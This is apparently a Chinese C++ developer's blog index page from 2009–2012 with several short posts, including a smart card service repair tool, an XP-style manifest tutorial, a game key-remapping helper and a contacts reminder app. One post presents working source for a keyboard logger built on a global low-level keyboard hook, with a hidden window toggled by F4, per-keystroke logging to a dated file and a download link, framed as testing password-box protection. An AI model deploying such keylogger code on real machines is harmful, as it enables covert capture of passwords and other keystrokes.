Pencil.C++

更新速度可能会晚于http://blog.csdn.net/bilaopao

  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  34 随笔 :: 0 文章 :: 40 评论 :: 0 Trackbacks

#

2月 完成对mfe rootkit专杀工具的完整逆向。
3月 完成对snort的分析,写出分析成果。
posted @ 2012-02-16 15:01 Pencil.C++| 编辑 收藏

    最近在研究反监听密码框的开发。  做这个东西是为了测试密码框的效果。 用的是WH_KEYBOARD_LL钩子。 我暂时还没找到防止底层键盘全局钩子的方法。QQ的密码可以用这种方法监听到,但是不是明文。不知道它是怎么做到的。
    我也给这个工具做了个隐藏键 F4  。
    开发工具是VS2008  
     


钩子回调函数中的代码:

 1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
 2                                      WPARAM wParam,
 3                                      LPARAM lParam
 4                                      )
 5{
 6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
 7    if (nCode<0)
 8    {
 9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
10    }

11    if (HC_ACTION==nCode)
12    {
13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
14        {
15            if (VK_F4==kbhs->vkCode)
16            {
17                //先判断窗口是show or hide
18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
19                if (IsWindowVisible(m_hWnd2))
20                {
21                    ShowWindow(m_hWnd2,SW_HIDE);
22                    return 0;
23                }

24                else
25                {
26                    if (NULL==m_hWnd2)
27                    {
28                        AfxMessageBox(L"查找失败!");
29                        return 0;
30                    }

31                    ShowWindow(m_hWnd2,SW_RESTORE);
32                    //UpdateWindow(m_hWnd);
33                    BringWindowToTop(m_hWnd);
34                    SetForegroundWindow(m_hWnd);
35                    return 1;
36                }

37            }

38
39                char c[1]; 
40
41                c[0]=kbhs->vkCode; 
42
43                SaveLog(c); 
44        }

45    }

46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
47}



字符保存的代码:

 1void SaveLog(char* c)
 2{
 3    //AfxMessageBox(L"进入存储程序");
 4    CTime tm=CTime::GetCurrentTime(); 
 5
 6    CString name; 
 7    TCHAR* szPath[MAX_PATH];
 8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
 9    CString path=(LPTSTR)szPath;
10    path.Replace(L"\\LogerDll.dll",L"");
11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
12    path+=name;
13    
14    
15
16    CFile file; 
17
18    if(!file.Open(path,CFile::modeReadWrite)) 
19
20    
21
22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
23
24    }
 
25
26    file.SeekToEnd(); 
27
28    file.Write(c,1); 
29
30    file.Close(); 
31
32
33}




下载地址:http://www.cppblog.com/Files/pencil/KeyboardLoger.rar
   

posted @ 2010-01-28 08:43 Pencil.C++ 阅读(3590) | 评论 (9)编辑 收藏

办理港澳通行证。200块。

机票一般1000/人。 来回2人4千块。

住宿  淘宝家庭旅馆 50-100一晚。


posted @ 2010-01-15 13:06 Pencil.C++ 阅读(199) | 评论 (0)编辑 收藏

     摘要: 更新内容:

(1)使用全局WH_KEYBOARD_LL 无需使用dll文件。

(2)智能判断聊天模式,如果正在聊天,则取消改键。

(3)改键功能只针对war3,不影响其他程序。

(4)支持托盘。

(5)支持1.24版  阅读全文
posted @ 2009-12-14 12:35 Pencil.C++ 阅读(4080) | 评论 (5)编辑 收藏

程序有英语 简体中文 两种语言,根据操作系统环境来选择language.
      代码下载:http://bilaopao.download.csdn.net/
      开发工具:VS 2008

 修复过程分【普通修复】和【强力修复】。
   XP和VISTA/WIN7下的修复操作还是有很多区别的。但基于的原理是一样的。 并且因为Vista/Win7下的Smart Card 服务的scardsvr.exe可执行文件被更改为scardsvr.dll,也就没有了scardsvr的相关安装命令。我用dependency查看了下scardsvr.dll,只能看到一个入口函数。能力有限,google了一些资料也没有结果。就没分析下去了。

   【普通修复】的修复过程(以XP下的修复过程讲述,vista/win7下操作请看代码):
(1)检查"智能卡服务"是否为自启动。并设置其为自启动。
(2)检测服务当前状态是否为SERVICE_RUNNING,并设置其状态为运行中。
(3)检测前两步是否成功,如果成功则向用户弹出messagebox询问moveable device功能是否正常。
(4)如果功能仍abnormal,则初步判断是服务登陆账户为非"NT AUTHORITY\LocalService" ,则用CreateProcess来运行 sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""    ,改变其用户为localservice(smart card service只有在此登陆账户下才正常运行)。

(5)如果在普通修复过程中遇到服务查询不到等error时,程序自动启动强力修复来安装smart card service.

注意:普通修复中的第3,4步中有点问题,在这个地方其实最好是直接检查服务的登陆账户。然后做出相应的动作,但是我这个地方没有想到实现的办法。望前辈提示。另外就是sc的命令格式有严格的限制,编码的时候要注意等号后面首先是空格。我当时被这个空格困扰到了。

    【强力修复】的修复过程(XP下的修复,vista/win7 下没有强力修复)
其实强力修复的过程就是网上流传的那个修复过程,我只不过在这个修复过程中增加了验证和配置修改。
修复过程:
(1)ScardSvr.exe reinstall
(2)regsvr32.exe SCardssp.dll
(3)sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
(4)通过以上三步之后,剩下的配置修改就跟普通修复过程一样了。而以上三步通过CreateProcess和WaitForSingleObject来配合控制。

应该差不多了。代码是半个月前写的,一些地方可能有疏漏。
在代码实现中还有很多地方需要注意,我也都在代码中做出了注释。可自行查看。

如需交流,可mailto:pencil@yeah.net  MSN:pencil@yeah.net

 

posted @ 2009-12-07 20:40 Pencil.C++ 阅读(1689) | 评论 (0)编辑 收藏

今天看改键助手的界面太难看,就想换成xp默认风格,方法如下。

manifest文件内容,将这个manifest文件命名为Exe名+.manifest, 如test.exe.manifest

 1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 2<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
 3<assemblyIdentity
 4name="XP style manifest"
 5processorArchitecture="x86"
 6version="1.0.0.0"
 7type="win32"/>
 8<dependency>
 9<dependentAssembly>
10    <assemblyIdentity
11      type="win32"
12      name="Microsoft.Windows.Common-Controls"
13      version="6.0.0.0"
14      processorArchitecture="x86"
15      publicKeyToken="6595b64144ccf1df"
16      language="*"
17    />
18</dependentAssembly>
19</dependency>
20</assembly>

然后用mt.exe绑定 (mt.exe是VS自带的一个工具。可以搜索下。)

Mt.exe –mainfest test.exe.manifest –outputresource:test.exe;1

1是这个manifest资源的ID.可以有多个manifest资源,但是vista默认使用1。其他的要自己编码来玩。
posted @ 2009-11-19 10:16 Pencil.C++ 阅读(458) | 评论 (0)编辑 收藏

大概的功能就是日期提醒,把通讯录和日期提醒相结合。

提醒方面做的很差,技术有限。

皮肤用的是Skin++

第一次发,但之前修改过几次,目前版本0.7

做这个东西完全是因为我个人需要。

是一个多用户的工具。

有自动升级功能。

应用范围很窄。

下载地址:http://www.cppblog.com/Files/pencil/GoodFriendV0.7.rar

源代码下载:http://www.cppblog.com/Files/pencil/GoodFriend0.7.src.rar

posted @ 2009-11-06 13:17 Pencil.C++ 阅读(364) | 评论 (0)编辑 收藏

     摘要:   阅读全文
posted @ 2009-09-27 20:17 Pencil.C++ 阅读(1265) | 评论 (0)编辑 收藏

     摘要:   阅读全文
posted @ 2009-09-27 20:14 Pencil.C++ 阅读(5708) | 评论 (0)编辑 收藏

界面和功能我之前几个帖子发过,就不重复了,感兴趣的拿去,有一些问题没有解决,交流下。

http://www.cppblog.com/Files/pencil/zhen3Helper.src.rar

posted @ 2009-09-27 01:17 Pencil.C++ 阅读(2819) | 评论 (7)编辑 收藏

仅列出标题
共4页: 1 2 3 4